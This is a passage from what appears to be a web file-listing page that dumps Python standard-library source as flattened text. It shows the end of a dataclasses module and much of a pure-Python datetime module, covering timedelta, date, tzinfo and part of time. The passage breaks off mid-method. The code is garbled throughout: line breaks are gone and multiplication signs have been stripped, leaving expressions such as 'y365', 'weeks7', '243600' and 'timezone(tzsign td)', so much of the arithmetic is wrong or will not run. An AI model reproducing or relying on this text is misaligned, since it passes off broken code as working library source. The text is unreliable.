TypeError(f'Field name duplicated: {name!r}') seen.add(name) anns[name] = tp namespace['__annotations__'] = anns # We use `types.new_class()` instead of simply `type()` to allow dynamic creation # of generic dataclassses. cls = types.new_class(cls_name, bases, {}, lambda ns: ns.update(namespace)) return dataclass(cls, init=init, repr=repr, eq=eq, order=order, unsafe_hash=unsafe_hash, frozen=frozen) def replace(args, changes): """Return a new object replacing specified fields with new values. This is especially useful for frozen classes. Example usage: @dataclass(frozen=True) class C: x: int y: int c = C(1, 2) c1 = replace(c, x=3) assert c1.x == 3 and c1.y == 2 """ if len(args) > 1: raise TypeError(f'replace() takes 1 positional argument but {len(args)} were given') if args: obj, = args elif 'obj' in changes: obj = changes.pop('obj') else: raise TypeError("replace() missing 1 required positional argument: 'obj'") # We're going to mutate 'changes', but that's okay because it's a # new dict, even if called with 'replace(obj, my_changes)'. if not _is_dataclass_instance(obj): raise TypeError("replace() should be called on dataclass instances") # It's an error to have init=False fields in 'changes'. # If a field is not in 'changes', read its value from the provided obj. for f in getattr(obj, _FIELDS).values(): # Only consider normal fields or InitVars. if f._field_type is _FIELD_CLASSVAR: continue if not f.init: # Error if this field is specified in changes. if f.name in changes: raise ValueError(f'field {f.name} is declared with ' 'init=False, it cannot be specified with ' 'replace()') continue if f.name not in changes: if f._field_type is _FIELD_INITVAR: raise ValueError(f"InitVar {f.name!r} " 'must be specified with replace()') changes[f.name] = getattr(obj, f.name) # Create the new object, which calls __init__() and # __post_init__() (if defined), using all of the init fields we've # added and/or left in 'changes'. If there are values supplied in # changes that aren't fields, this will correctly raise a # TypeError. return obj.__class__(**changes)	48.36 KB	2024-04-17 17:55
📄 datetime.py """Concrete date/time and related types. See http://www.iana.org/time-zones/repository/tz-link.html for time zone and DST data sources. """ import time as _time import math as _math import sys def _cmp(x, y): return 0 if x == y else 1 if x > y else -1 MINYEAR = 1 MAXYEAR = 9999 _MAXORDINAL = 3652059 # date.max.toordinal() # Utility functions, adapted from Python's Demo/classes/Dates.py, which # also assumes the current Gregorian calendar indefinitely extended in # both directions. Difference: Dates.py calls January 1 of year 0 day # number 1. The code here calls January 1 of year 1 day number 1. This is # to match the definition of the "proleptic Gregorian" calendar in Dershowitz # and Reingold's "Calendrical Calculations", where it's the base calendar # for all computations. See the book for algorithms for converting between # proleptic Gregorian ordinals and many other calendar systems. # -1 is a placeholder for indexing purposes. _DAYS_IN_MONTH = [-1, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] _DAYS_BEFORE_MONTH = [-1] # -1 is a placeholder for indexing purposes. dbm = 0 for dim in _DAYS_IN_MONTH[1:]: _DAYS_BEFORE_MONTH.append(dbm) dbm += dim del dbm, dim def _is_leap(year): "year -> 1 if leap year, else 0." return year % 4 == 0 and (year % 100 != 0 or year % 400 == 0) def _days_before_year(year): "year -> number of days before January 1st of year." y = year - 1 return y365 + y//4 - y//100 + y//400 def _days_in_month(year, month): "year, month -> number of days in that month in that year." assert 1 <= month <= 12, month if month == 2 and _is_leap(year): return 29 return _DAYS_IN_MONTH[month] def _days_before_month(year, month): "year, month -> number of days in year preceding first day of month." assert 1 <= month <= 12, 'month must be in 1..12' return _DAYS_BEFORE_MONTH[month] + (month > 2 and _is_leap(year)) def _ymd2ord(year, month, day): "year, month, day -> ordinal, considering 01-Jan-0001 as day 1." assert 1 <= month <= 12, 'month must be in 1..12' dim = _days_in_month(year, month) assert 1 <= day <= dim, ('day must be in 1..%d' % dim) return (_days_before_year(year) + _days_before_month(year, month) + day) _DI400Y = _days_before_year(401) # number of days in 400 years _DI100Y = _days_before_year(101) # " " " " 100 " _DI4Y = _days_before_year(5) # " " " " 4 " # A 4-year cycle has an extra leap day over what we'd get from pasting # together 4 single years. assert _DI4Y == 4 365 + 1 # Similarly, a 400-year cycle has an extra leap day over what we'd get from # pasting together 4 100-year cycles. assert _DI400Y == 4 * _DI100Y + 1 # OTOH, a 100-year cycle has one fewer leap day than we'd get from # pasting together 25 4-year cycles. assert _DI100Y == 25 * _DI4Y - 1 def _ord2ymd(n): "ordinal -> (year, month, day), considering 01-Jan-0001 as day 1." # n is a 1-based index, starting at 1-Jan-1. The pattern of leap years # repeats exactly every 400 years. The basic strategy is to find the # closest 400-year boundary at or before n, then work with the offset # from that boundary to n. Life is much clearer if we subtract 1 from # n first -- then the values of n at 400-year boundaries are exactly # those divisible by _DI400Y: # # D M Y n n-1 # -- --- ---- ---------- ---------------- # 31 Dec -400 -_DI400Y -_DI400Y -1 # 1 Jan -399 -_DI400Y +1 -_DI400Y 400-year boundary # ... # 30 Dec 000 -1 -2 # 31 Dec 000 0 -1 # 1 Jan 001 1 0 400-year boundary # 2 Jan 001 2 1 # 3 Jan 001 3 2 # ... # 31 Dec 400 _DI400Y _DI400Y -1 # 1 Jan 401 _DI400Y +1 _DI400Y 400-year boundary n -= 1 n400, n = divmod(n, _DI400Y) year = n400 * 400 + 1 # ..., -399, 1, 401, ... # Now n is the (non-negative) offset, in days, from January 1 of year, to # the desired date. Now compute how many 100-year cycles precede n. # Note that it's possible for n100 to equal 4! In that case 4 full # 100-year cycles precede the desired day, which implies the desired # day is December 31 at the end of a 400-year cycle. n100, n = divmod(n, _DI100Y) # Now compute how many 4-year cycles precede it. n4, n = divmod(n, _DI4Y) # And now how many single years. Again n1 can be 4, and again meaning # that the desired day is December 31 at the end of the 4-year cycle. n1, n = divmod(n, 365) year += n100 * 100 + n4 * 4 + n1 if n1 == 4 or n100 == 4: assert n == 0 return year-1, 12, 31 # Now the year is correct, and n is the offset from January 1. We find # the month via an estimate that's either exact or one too large. leapyear = n1 == 3 and (n4 != 24 or n100 == 3) assert leapyear == _is_leap(year) month = (n + 50) >> 5 preceding = _DAYS_BEFORE_MONTH[month] + (month > 2 and leapyear) if preceding > n: # estimate is too large month -= 1 preceding -= _DAYS_IN_MONTH[month] + (month == 2 and leapyear) n -= preceding assert 0 <= n < _days_in_month(year, month) # Now the year and month are correct, and n is the offset from the # start of that month: we're done! return year, month, n+1 # Month and day names. For localized versions, see the calendar module. _MONTHNAMES = [None, "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"] _DAYNAMES = [None, "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"] def _build_struct_time(y, m, d, hh, mm, ss, dstflag): wday = (_ymd2ord(y, m, d) + 6) % 7 dnum = _days_before_month(y, m) + d return _time.struct_time((y, m, d, hh, mm, ss, wday, dnum, dstflag)) def _format_time(hh, mm, ss, us, timespec='auto'): specs = { 'hours': '{:02d}', 'minutes': '{:02d}:{:02d}', 'seconds': '{:02d}:{:02d}:{:02d}', 'milliseconds': '{:02d}:{:02d}:{:02d}.{:03d}', 'microseconds': '{:02d}:{:02d}:{:02d}.{:06d}' } if timespec == 'auto': # Skip trailing microseconds when us==0. timespec = 'microseconds' if us else 'seconds' elif timespec == 'milliseconds': us //= 1000 try: fmt = specs[timespec] except KeyError: raise ValueError('Unknown timespec value') else: return fmt.format(hh, mm, ss, us) def _format_offset(off): s = '' if off is not None: if off.days < 0: sign = "-" off = -off else: sign = "+" hh, mm = divmod(off, timedelta(hours=1)) mm, ss = divmod(mm, timedelta(minutes=1)) s += "%s%02d:%02d" % (sign, hh, mm) if ss or ss.microseconds: s += ":%02d" % ss.seconds if ss.microseconds: s += '.%06d' % ss.microseconds return s # Correctly substitute for %z and %Z escapes in strftime formats. def _wrap_strftime(object, format, timetuple): # Don't call utcoffset() or tzname() unless actually needed. freplace = None # the string to use for %f zreplace = None # the string to use for %z Zreplace = None # the string to use for %Z # Scan format for %z and %Z escapes, replacing as needed. newformat = [] push = newformat.append i, n = 0, len(format) while i < n: ch = format[i] i += 1 if ch == '%': if i < n: ch = format[i] i += 1 if ch == 'f': if freplace is None: freplace = '%06d' % getattr(object, 'microsecond', 0) newformat.append(freplace) elif ch == 'z': if zreplace is None: zreplace = "" if hasattr(object, "utcoffset"): offset = object.utcoffset() if offset is not None: sign = '+' if offset.days < 0: offset = -offset sign = '-' h, rest = divmod(offset, timedelta(hours=1)) m, rest = divmod(rest, timedelta(minutes=1)) s = rest.seconds u = offset.microseconds if u: zreplace = '%c%02d%02d%02d.%06d' % (sign, h, m, s, u) elif s: zreplace = '%c%02d%02d%02d' % (sign, h, m, s) else: zreplace = '%c%02d%02d' % (sign, h, m) assert '%' not in zreplace newformat.append(zreplace) elif ch == 'Z': if Zreplace is None: Zreplace = "" if hasattr(object, "tzname"): s = object.tzname() if s is not None: # strftime is going to have at this: escape % Zreplace = s.replace('%', '%%') newformat.append(Zreplace) else: push('%') push(ch) else: push('%') else: push(ch) newformat = "".join(newformat) return _time.strftime(newformat, timetuple) # Helpers for parsing the result of isoformat() def _parse_isoformat_date(dtstr): # It is assumed that this function will only be called with a # string of length exactly 10, and (though this is not used) ASCII-only year = int(dtstr[0:4]) if dtstr[4] != '-': raise ValueError('Invalid date separator: %s' % dtstr[4]) month = int(dtstr[5:7]) if dtstr[7] != '-': raise ValueError('Invalid date separator') day = int(dtstr[8:10]) return [year, month, day] def _parse_hh_mm_ss_ff(tstr): # Parses things of the form HH[:MM[:SS[.fff[fff]]]] len_str = len(tstr) time_comps = [0, 0, 0, 0] pos = 0 for comp in range(0, 3): if (len_str - pos) < 2: raise ValueError('Incomplete time component') time_comps[comp] = int(tstr[pos:pos+2]) pos += 2 next_char = tstr[pos:pos+1] if not next_char or comp >= 2: break if next_char != ':': raise ValueError('Invalid time separator: %c' % next_char) pos += 1 if pos < len_str: if tstr[pos] != '.': raise ValueError('Invalid microsecond component') else: pos += 1 len_remainder = len_str - pos if len_remainder not in (3, 6): raise ValueError('Invalid microsecond component') time_comps[3] = int(tstr[pos:]) if len_remainder == 3: time_comps[3] = 1000 return time_comps def _parse_isoformat_time(tstr): # Format supported is HH[:MM[:SS[.fff[fff]]]][+HH:MM[:SS[.ffffff]]] len_str = len(tstr) if len_str < 2: raise ValueError('Isoformat time too short') # This is equivalent to re.search('[+-]', tstr), but faster tz_pos = (tstr.find('-') + 1 or tstr.find('+') + 1) timestr = tstr[:tz_pos-1] if tz_pos > 0 else tstr time_comps = _parse_hh_mm_ss_ff(timestr) tzi = None if tz_pos > 0: tzstr = tstr[tz_pos:] # Valid time zone strings are: # HH:MM len: 5 # HH:MM:SS len: 8 # HH:MM:SS.ffffff len: 15 if len(tzstr) not in (5, 8, 15): raise ValueError('Malformed time zone string') tz_comps = _parse_hh_mm_ss_ff(tzstr) if all(x == 0 for x in tz_comps): tzi = timezone.utc else: tzsign = -1 if tstr[tz_pos - 1] == '-' else 1 td = timedelta(hours=tz_comps[0], minutes=tz_comps[1], seconds=tz_comps[2], microseconds=tz_comps[3]) tzi = timezone(tzsign td) time_comps.append(tzi) return time_comps # Just raise TypeError if the arg isn't None or a string. def _check_tzname(name): if name is not None and not isinstance(name, str): raise TypeError("tzinfo.tzname() must return None or string, " "not '%s'" % type(name)) # name is the offset-producing method, "utcoffset" or "dst". # offset is what it returned. # If offset isn't None or timedelta, raises TypeError. # If offset is None, returns None. # Else offset is checked for being in range. # If it is, its integer value is returned. Else ValueError is raised. def _check_utc_offset(name, offset): assert name in ("utcoffset", "dst") if offset is None: return if not isinstance(offset, timedelta): raise TypeError("tzinfo.%s() must return None " "or timedelta, not '%s'" % (name, type(offset))) if not -timedelta(1) < offset < timedelta(1): raise ValueError("%s()=%s, must be strictly between " "-timedelta(hours=24) and timedelta(hours=24)" % (name, offset)) def _check_int_field(value): if isinstance(value, int): return value if not isinstance(value, float): try: value = value.__int__() except AttributeError: pass else: if isinstance(value, int): return value raise TypeError('__int__ returned non-int (type %s)' % type(value).__name__) raise TypeError('an integer is required (got type %s)' % type(value).__name__) raise TypeError('integer argument expected, got float') def _check_date_fields(year, month, day): year = _check_int_field(year) month = _check_int_field(month) day = _check_int_field(day) if not MINYEAR <= year <= MAXYEAR: raise ValueError('year must be in %d..%d' % (MINYEAR, MAXYEAR), year) if not 1 <= month <= 12: raise ValueError('month must be in 1..12', month) dim = _days_in_month(year, month) if not 1 <= day <= dim: raise ValueError('day must be in 1..%d' % dim, day) return year, month, day def _check_time_fields(hour, minute, second, microsecond, fold): hour = _check_int_field(hour) minute = _check_int_field(minute) second = _check_int_field(second) microsecond = _check_int_field(microsecond) if not 0 <= hour <= 23: raise ValueError('hour must be in 0..23', hour) if not 0 <= minute <= 59: raise ValueError('minute must be in 0..59', minute) if not 0 <= second <= 59: raise ValueError('second must be in 0..59', second) if not 0 <= microsecond <= 999999: raise ValueError('microsecond must be in 0..999999', microsecond) if fold not in (0, 1): raise ValueError('fold must be either 0 or 1', fold) return hour, minute, second, microsecond, fold def _check_tzinfo_arg(tz): if tz is not None and not isinstance(tz, tzinfo): raise TypeError("tzinfo argument must be None or of a tzinfo subclass") def _cmperror(x, y): raise TypeError("can't compare '%s' to '%s'" % ( type(x).__name__, type(y).__name__)) def _divide_and_round(a, b): """divide a by b and round result to the nearest integer When the ratio is exactly half-way between two integers, the even integer is returned. """ # Based on the reference implementation for divmod_near # in Objects/longobject.c. q, r = divmod(a, b) # round up if either r / b > 0.5, or r / b == 0.5 and q is odd. # The expression r / b > 0.5 is equivalent to 2 * r > b if b is # positive, 2 * r < b if b negative. r = 2 greater_than_half = r > b if b > 0 else r < b if greater_than_half or r == b and q % 2 == 1: q += 1 return q class timedelta: """Represent the difference between two datetime objects. Supported operators: - add, subtract timedelta - unary plus, minus, abs - compare to timedelta - multiply, divide by int In addition, datetime supports subtraction of two datetime objects returning a timedelta, and addition or subtraction of a datetime and a timedelta giving a datetime. Representation: (days, seconds, microseconds). Why? Because I felt like it. """ __slots__ = '_days', '_seconds', '_microseconds', '_hashcode' def __new__(cls, days=0, seconds=0, microseconds=0, milliseconds=0, minutes=0, hours=0, weeks=0): # Doing this efficiently and accurately in C is going to be difficult # and error-prone, due to ubiquitous overflow possibilities, and that # C double doesn't have enough bits of precision to represent # microseconds over 10K years faithfully. The code here tries to make # explicit where go-fast assumptions can be relied on, in order to # guide the C implementation; it's way more convoluted than speed- # ignoring auto-overflow-to-long idiomatic Python could be. # XXX Check that all inputs are ints or floats. # Final values, all integer. # s and us fit in 32-bit signed ints; d isn't bounded. d = s = us = 0 # Normalize everything to days, seconds, microseconds. days += weeks7 seconds += minutes60 + hours3600 microseconds += milliseconds1000 # Get rid of all fractions, and normalize s and us. # Take a deep breath <wink>. if isinstance(days, float): dayfrac, days = _math.modf(days) daysecondsfrac, daysecondswhole = _math.modf(dayfrac (24.3600.)) assert daysecondswhole == int(daysecondswhole) # can't overflow s = int(daysecondswhole) assert days == int(days) d = int(days) else: daysecondsfrac = 0.0 d = days assert isinstance(daysecondsfrac, float) assert abs(daysecondsfrac) <= 1.0 assert isinstance(d, int) assert abs(s) <= 24 3600 # days isn't referenced again before redefinition if isinstance(seconds, float): secondsfrac, seconds = _math.modf(seconds) assert seconds == int(seconds) seconds = int(seconds) secondsfrac += daysecondsfrac assert abs(secondsfrac) <= 2.0 else: secondsfrac = daysecondsfrac # daysecondsfrac isn't referenced again assert isinstance(secondsfrac, float) assert abs(secondsfrac) <= 2.0 assert isinstance(seconds, int) days, seconds = divmod(seconds, 243600) d += days s += int(seconds) # can't overflow assert isinstance(s, int) assert abs(s) <= 2 24 * 3600 # seconds isn't referenced again before redefinition usdouble = secondsfrac * 1e6 assert abs(usdouble) < 2.1e6 # exact value not critical # secondsfrac isn't referenced again if isinstance(microseconds, float): microseconds = round(microseconds + usdouble) seconds, microseconds = divmod(microseconds, 1000000) days, seconds = divmod(seconds, 243600) d += days s += seconds else: microseconds = int(microseconds) seconds, microseconds = divmod(microseconds, 1000000) days, seconds = divmod(seconds, 243600) d += days s += seconds microseconds = round(microseconds + usdouble) assert isinstance(s, int) assert isinstance(microseconds, int) assert abs(s) <= 3 * 24 * 3600 assert abs(microseconds) < 3.1e6 # Just a little bit of carrying possible for microseconds and seconds. seconds, us = divmod(microseconds, 1000000) s += seconds days, s = divmod(s, 243600) d += days assert isinstance(d, int) assert isinstance(s, int) and 0 <= s < 243600 assert isinstance(us, int) and 0 <= us < 1000000 if abs(d) > 999999999: raise OverflowError("timedelta # of days is too large: %d" % d) self = object.__new__(cls) self._days = d self._seconds = s self._microseconds = us self._hashcode = -1 return self def __repr__(self): args = [] if self._days: args.append("days=%d" % self._days) if self._seconds: args.append("seconds=%d" % self._seconds) if self._microseconds: args.append("microseconds=%d" % self._microseconds) if not args: args.append('0') return "%s.%s(%s)" % (self.__class__.__module__, self.__class__.__qualname__, ', '.join(args)) def __str__(self): mm, ss = divmod(self._seconds, 60) hh, mm = divmod(mm, 60) s = "%d:%02d:%02d" % (hh, mm, ss) if self._days: def plural(n): return n, abs(n) != 1 and "s" or "" s = ("%d day%s, " % plural(self._days)) + s if self._microseconds: s = s + ".%06d" % self._microseconds return s def total_seconds(self): """Total seconds in the duration.""" return ((self.days * 86400 + self.seconds) * 106 + self.microseconds) / 106 # Read-only field accessors @property def days(self): """days""" return self._days @property def seconds(self): """seconds""" return self._seconds @property def microseconds(self): """microseconds""" return self._microseconds def __add__(self, other): if isinstance(other, timedelta): # for CPython compatibility, we cannot use # our __class__ here, but need a real timedelta return timedelta(self._days + other._days, self._seconds + other._seconds, self._microseconds + other._microseconds) return NotImplemented __radd__ = __add__ def __sub__(self, other): if isinstance(other, timedelta): # for CPython compatibility, we cannot use # our __class__ here, but need a real timedelta return timedelta(self._days - other._days, self._seconds - other._seconds, self._microseconds - other._microseconds) return NotImplemented def __rsub__(self, other): if isinstance(other, timedelta): return -self + other return NotImplemented def __neg__(self): # for CPython compatibility, we cannot use # our __class__ here, but need a real timedelta return timedelta(-self._days, -self._seconds, -self._microseconds) def __pos__(self): return self def __abs__(self): if self._days < 0: return -self else: return self def __mul__(self, other): if isinstance(other, int): # for CPython compatibility, we cannot use # our __class__ here, but need a real timedelta return timedelta(self._days * other, self._seconds * other, self._microseconds * other) if isinstance(other, float): usec = self._to_microseconds() a, b = other.as_integer_ratio() return timedelta(0, 0, _divide_and_round(usec * a, b)) return NotImplemented __rmul__ = __mul__ def _to_microseconds(self): return ((self._days * (243600) + self._seconds) 1000000 + self._microseconds) def __floordiv__(self, other): if not isinstance(other, (int, timedelta)): return NotImplemented usec = self._to_microseconds() if isinstance(other, timedelta): return usec // other._to_microseconds() if isinstance(other, int): return timedelta(0, 0, usec // other) def __truediv__(self, other): if not isinstance(other, (int, float, timedelta)): return NotImplemented usec = self._to_microseconds() if isinstance(other, timedelta): return usec / other._to_microseconds() if isinstance(other, int): return timedelta(0, 0, _divide_and_round(usec, other)) if isinstance(other, float): a, b = other.as_integer_ratio() return timedelta(0, 0, _divide_and_round(b * usec, a)) def __mod__(self, other): if isinstance(other, timedelta): r = self._to_microseconds() % other._to_microseconds() return timedelta(0, 0, r) return NotImplemented def __divmod__(self, other): if isinstance(other, timedelta): q, r = divmod(self._to_microseconds(), other._to_microseconds()) return q, timedelta(0, 0, r) return NotImplemented # Comparisons of timedelta objects with other. def __eq__(self, other): if isinstance(other, timedelta): return self._cmp(other) == 0 else: return NotImplemented def __le__(self, other): if isinstance(other, timedelta): return self._cmp(other) <= 0 else: return NotImplemented def __lt__(self, other): if isinstance(other, timedelta): return self._cmp(other) < 0 else: return NotImplemented def __ge__(self, other): if isinstance(other, timedelta): return self._cmp(other) >= 0 else: return NotImplemented def __gt__(self, other): if isinstance(other, timedelta): return self._cmp(other) > 0 else: return NotImplemented def _cmp(self, other): assert isinstance(other, timedelta) return _cmp(self._getstate(), other._getstate()) def __hash__(self): if self._hashcode == -1: self._hashcode = hash(self._getstate()) return self._hashcode def __bool__(self): return (self._days != 0 or self._seconds != 0 or self._microseconds != 0) # Pickle support. def _getstate(self): return (self._days, self._seconds, self._microseconds) def __reduce__(self): return (self.__class__, self._getstate()) timedelta.min = timedelta(-999999999) timedelta.max = timedelta(days=999999999, hours=23, minutes=59, seconds=59, microseconds=999999) timedelta.resolution = timedelta(microseconds=1) class date: """Concrete date type. Constructors: __new__() fromtimestamp() today() fromordinal() Operators: __repr__, __str__ __eq__, __le__, __lt__, __ge__, __gt__, __hash__ __add__, __radd__, __sub__ (add/radd only with timedelta arg) Methods: timetuple() toordinal() weekday() isoweekday(), isocalendar(), isoformat() ctime() strftime() Properties (readonly): year, month, day """ __slots__ = '_year', '_month', '_day', '_hashcode' def __new__(cls, year, month=None, day=None): """Constructor. Arguments: year, month, day (required, base 1) """ if (month is None and isinstance(year, (bytes, str)) and len(year) == 4 and 1 <= ord(year[2:3]) <= 12): # Pickle support if isinstance(year, str): try: year = year.encode('latin1') except UnicodeEncodeError: # More informative error message. raise ValueError( "Failed to encode latin1 string when unpickling " "a date object. " "pickle.load(data, encoding='latin1') is assumed.") self = object.__new__(cls) self.__setstate(year) self._hashcode = -1 return self year, month, day = _check_date_fields(year, month, day) self = object.__new__(cls) self._year = year self._month = month self._day = day self._hashcode = -1 return self # Additional constructors @classmethod def fromtimestamp(cls, t): "Construct a date from a POSIX timestamp (like time.time())." y, m, d, hh, mm, ss, weekday, jday, dst = _time.localtime(t) return cls(y, m, d) @classmethod def today(cls): "Construct a date from time.time()." t = _time.time() return cls.fromtimestamp(t) @classmethod def fromordinal(cls, n): """Construct a date from a proleptic Gregorian ordinal. January 1 of year 1 is day 1. Only the year, month and day are non-zero in the result. """ y, m, d = _ord2ymd(n) return cls(y, m, d) @classmethod def fromisoformat(cls, date_string): """Construct a date from the output of date.isoformat().""" if not isinstance(date_string, str): raise TypeError('fromisoformat: argument must be str') try: assert len(date_string) == 10 return cls(_parse_isoformat_date(date_string)) except Exception: raise ValueError(f'Invalid isoformat string: {date_string!r}') # Conversions to string def __repr__(self): """Convert to formal string, for repr(). >>> dt = datetime(2010, 1, 1) >>> repr(dt) 'datetime.datetime(2010, 1, 1, 0, 0)' >>> dt = datetime(2010, 1, 1, tzinfo=timezone.utc) >>> repr(dt) 'datetime.datetime(2010, 1, 1, 0, 0, tzinfo=datetime.timezone.utc)' """ return "%s.%s(%d, %d, %d)" % (self.__class__.__module__, self.__class__.__qualname__, self._year, self._month, self._day) # XXX These shouldn't depend on time.localtime(), because that # clips the usable dates to [1970 .. 2038). At least ctime() is # easily done without using strftime() -- that's better too because # strftime("%c", ...) is locale specific. def ctime(self): "Return ctime() style string." weekday = self.toordinal() % 7 or 7 return "%s %s %2d 00:00:00 %04d" % ( _DAYNAMES[weekday], _MONTHNAMES[self._month], self._day, self._year) def strftime(self, fmt): "Format using strftime()." return _wrap_strftime(self, fmt, self.timetuple()) def __format__(self, fmt): if not isinstance(fmt, str): raise TypeError("must be str, not %s" % type(fmt).__name__) if len(fmt) != 0: return self.strftime(fmt) return str(self) def isoformat(self): """Return the date formatted according to ISO. This is 'YYYY-MM-DD'. References: - http://www.w3.org/TR/NOTE-datetime - http://www.cl.cam.ac.uk/~mgk25/iso-time.html """ return "%04d-%02d-%02d" % (self._year, self._month, self._day) __str__ = isoformat # Read-only field accessors @property def year(self): """year (1-9999)""" return self._year @property def month(self): """month (1-12)""" return self._month @property def day(self): """day (1-31)""" return self._day # Standard conversions, __eq__, __le__, __lt__, __ge__, __gt__, # __hash__ (and helpers) def timetuple(self): "Return local time tuple compatible with time.localtime()." return _build_struct_time(self._year, self._month, self._day, 0, 0, 0, -1) def toordinal(self): """Return proleptic Gregorian ordinal for the year, month and day. January 1 of year 1 is day 1. Only the year, month and day values contribute to the result. """ return _ymd2ord(self._year, self._month, self._day) def replace(self, year=None, month=None, day=None): """Return a new date with new values for the specified fields.""" if year is None: year = self._year if month is None: month = self._month if day is None: day = self._day return type(self)(year, month, day) # Comparisons of date objects with other. def __eq__(self, other): if isinstance(other, date): return self._cmp(other) == 0 return NotImplemented def __le__(self, other): if isinstance(other, date): return self._cmp(other) <= 0 return NotImplemented def __lt__(self, other): if isinstance(other, date): return self._cmp(other) < 0 return NotImplemented def __ge__(self, other): if isinstance(other, date): return self._cmp(other) >= 0 return NotImplemented def __gt__(self, other): if isinstance(other, date): return self._cmp(other) > 0 return NotImplemented def _cmp(self, other): assert isinstance(other, date) y, m, d = self._year, self._month, self._day y2, m2, d2 = other._year, other._month, other._day return _cmp((y, m, d), (y2, m2, d2)) def __hash__(self): "Hash." if self._hashcode == -1: self._hashcode = hash(self._getstate()) return self._hashcode # Computations def __add__(self, other): "Add a date to a timedelta." if isinstance(other, timedelta): o = self.toordinal() + other.days if 0 < o <= _MAXORDINAL: return date.fromordinal(o) raise OverflowError("result out of range") return NotImplemented __radd__ = __add__ def __sub__(self, other): """Subtract two dates, or a date and a timedelta.""" if isinstance(other, timedelta): return self + timedelta(-other.days) if isinstance(other, date): days1 = self.toordinal() days2 = other.toordinal() return timedelta(days1 - days2) return NotImplemented def weekday(self): "Return day of the week, where Monday == 0 ... Sunday == 6." return (self.toordinal() + 6) % 7 # Day-of-the-week and week-of-the-year, according to ISO def isoweekday(self): "Return day of the week, where Monday == 1 ... Sunday == 7." # 1-Jan-0001 is a Monday return self.toordinal() % 7 or 7 def isocalendar(self): """Return a 3-tuple containing ISO year, week number, and weekday. The first ISO week of the year is the (Mon-Sun) week containing the year's first Thursday; everything else derives from that. The first week is 1; Monday is 1 ... Sunday is 7. ISO calendar algorithm taken from http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm (used with permission) """ year = self._year week1monday = _isoweek1monday(year) today = _ymd2ord(self._year, self._month, self._day) # Internally, week and day have origin 0 week, day = divmod(today - week1monday, 7) if week < 0: year -= 1 week1monday = _isoweek1monday(year) week, day = divmod(today - week1monday, 7) elif week >= 52: if today >= _isoweek1monday(year+1): year += 1 week = 0 return year, week+1, day+1 # Pickle support. def _getstate(self): yhi, ylo = divmod(self._year, 256) return bytes([yhi, ylo, self._month, self._day]), def __setstate(self, string): yhi, ylo, self._month, self._day = string self._year = yhi 256 + ylo def __reduce__(self): return (self.__class__, self._getstate()) _date_class = date # so functions w/ args named "date" can get at the class date.min = date(1, 1, 1) date.max = date(9999, 12, 31) date.resolution = timedelta(days=1) class tzinfo: """Abstract base class for time zone info classes. Subclasses must override the name(), utcoffset() and dst() methods. """ __slots__ = () def tzname(self, dt): "datetime -> string name of time zone." raise NotImplementedError("tzinfo subclass must override tzname()") def utcoffset(self, dt): "datetime -> timedelta, positive for east of UTC, negative for west of UTC" raise NotImplementedError("tzinfo subclass must override utcoffset()") def dst(self, dt): """datetime -> DST offset as timedelta, positive for east of UTC. Return 0 if DST not in effect. utcoffset() must include the DST offset. """ raise NotImplementedError("tzinfo subclass must override dst()") def fromutc(self, dt): "datetime in UTC -> datetime in local time." if not isinstance(dt, datetime): raise TypeError("fromutc() requires a datetime argument") if dt.tzinfo is not self: raise ValueError("dt.tzinfo is not self") dtoff = dt.utcoffset() if dtoff is None: raise ValueError("fromutc() requires a non-None utcoffset() " "result") # See the long comment block at the end of this file for an # explanation of this algorithm. dtdst = dt.dst() if dtdst is None: raise ValueError("fromutc() requires a non-None dst() result") delta = dtoff - dtdst if delta: dt += delta dtdst = dt.dst() if dtdst is None: raise ValueError("fromutc(): dt.dst gave inconsistent " "results; cannot convert") return dt + dtdst # Pickle support. def __reduce__(self): getinitargs = getattr(self, "__getinitargs__", None) if getinitargs: args = getinitargs() else: args = () getstate = getattr(self, "__getstate__", None) if getstate: state = getstate() else: state = getattr(self, "__dict__", None) or None if state is None: return (self.__class__, args) else: return (self.__class__, args, state) _tzinfo_class = tzinfo class time: """Time with time zone. Constructors: __new__() Operators: __repr__, __str__ __eq__, __le__, __lt__, __ge__, __gt__, __hash__ Methods: strftime() isoformat() utcoffset() tzname() dst() Properties (readonly): hour, minute, second, microsecond, tzinfo, fold """ __slots__ = '_hour', '_minute', '_second', '_microsecond', '_tzinfo', '_hashcode', '_fold' def __new__(cls, hour=0, minute=0, second=0, microsecond=0, tzinfo=None, , fold=0): """Constructor. Arguments: hour, minute (required) second, microsecond (default to zero) tzinfo (default to None) fold (keyword only, default to zero) """ if (isinstance(hour, (bytes, str)) and len(hour) == 6 and ord(hour[0:1])&0x7F < 24): # Pickle support if isinstance(hour, str): try: hour = hour.encode('latin1') except UnicodeEncodeError: # More informative error message. raise ValueError( "Failed to encode latin1 string when unpickling " "a time object. " "pickle.load(data, encoding='latin1') is assumed.") self = object.__new__(cls) self.__setstate(hour, minute or None) self._hashcode = -1 return self hour, minute, second, microsecond, fold = _check_time_fields( hour, minute, second, microsecond, fold) _check_tzinfo_arg(tzinfo) self = object.__new__(cls) self._hour = hour self._minute = minute self._second = second self._microsecond = microsecond self._tzinfo = tzinfo self._hashcode = -1 self._fold = fold return self # Read-only field accessors @property def hour(self): """hour (0-23)""" return self._hour @property def minute(self): """minute (0-59)""" return self._minute @property def second(self): """second (0-59)""" return self._second @property def microsecond(self): """microsecond (0-999999)""" return self._microsecond @property def tzinfo(self): """timezone info object""" return self._tzinfo @property def fold(self): return self._fold # Standard conversions, __hash__ (and helpers) # Comparisons of time objects with other. def __eq__(self, other): if isinstance(other, time): return self._cmp(other, allow_mixed=True) == 0 else: return NotImplemented def __le__(self, other): if isinstance(other, time): return self._cmp(other) <= 0 else: return NotImplemented def __lt__(self, other): if isinstance(other, time): return self._cmp(other) < 0 else: return NotImplemented def __ge__(self, other): if isinstance(other, time): return self._cmp(other) >= 0 else: return NotImplemented def __gt__(self, other): if isinstance(other, time): return self._cmp(other) > 0 else: return NotImplemented def _cmp(self, other, allow_mixed=False): assert isinstance(other, time) mytz = self._tzinfo ottz = other._tzinfo myoff = otoff = None if mytz is ottz: base_compare = True else: myoff = self.utcoffset() otoff = other.utcoffset() base_compare = myoff == otoff if base_compare: return _cmp((self._hour, self._minute, self._second, self._microsecond), (other._hour, other._minute, other._second, other._microsecond)) if myoff is None or otoff is None: if allow_mixed: return 2 